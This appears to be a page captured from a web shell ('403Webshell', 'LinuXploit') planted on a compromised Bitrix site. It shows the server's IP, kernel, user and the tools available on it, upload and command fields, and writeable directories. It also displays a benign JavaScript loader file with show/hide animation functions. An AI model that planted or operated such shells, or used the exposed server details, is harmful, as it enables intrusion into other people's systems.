403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/loader/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/loader/src/utils.js
import {Type, Event, Tag, Dom} from 'main.core';


export function show(element)
{
	if (!Type.isDomNode(element))
	{
		return Promise.reject(new Error('element is not Element'));
	}

	return new Promise((resolve) => {
		if (
			element.dataset.isShown === 'false'
			|| !element.dataset.isShown
		)
		{
			const handler = (event) => {
				if (event.animationName === 'showMainLoader')
				{
					Event.unbind(element, 'animationend', handler);
					resolve(event);
				}
			};

			Event.bind(element, 'animationend', handler);

			Tag.attrs(element)`
				data-is-shown: true;
			`;

			Tag.style(element)`
				display: null;
			`;

			Dom.removeClass(element, 'main-ui-hide');
			Dom.addClass(element, 'main-ui-show');
		}
	});
}

export function hide(element)
{
	if (!Type.isDomNode(element))
	{
		return Promise.reject(new Error('element is not Element'));
	}

	return new Promise((resolve) => {
		if (element.dataset.isShown === 'true')
		{
			const handler = function handler(event) {
				if (event.animationName === 'hideMainLoader')
				{
					Tag.style(element)`
						display: none;
					`;

					Event.unbind(element, 'animationend', handler);
					resolve(event);
				}
			};

			Event.bind(element, 'animationend', handler);

			Tag.attrs(element)`
				data-is-shown: false;
			`;

			Dom.removeClass(element, 'main-ui-show');
			Dom.addClass(element, 'main-ui-hide');
		}
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit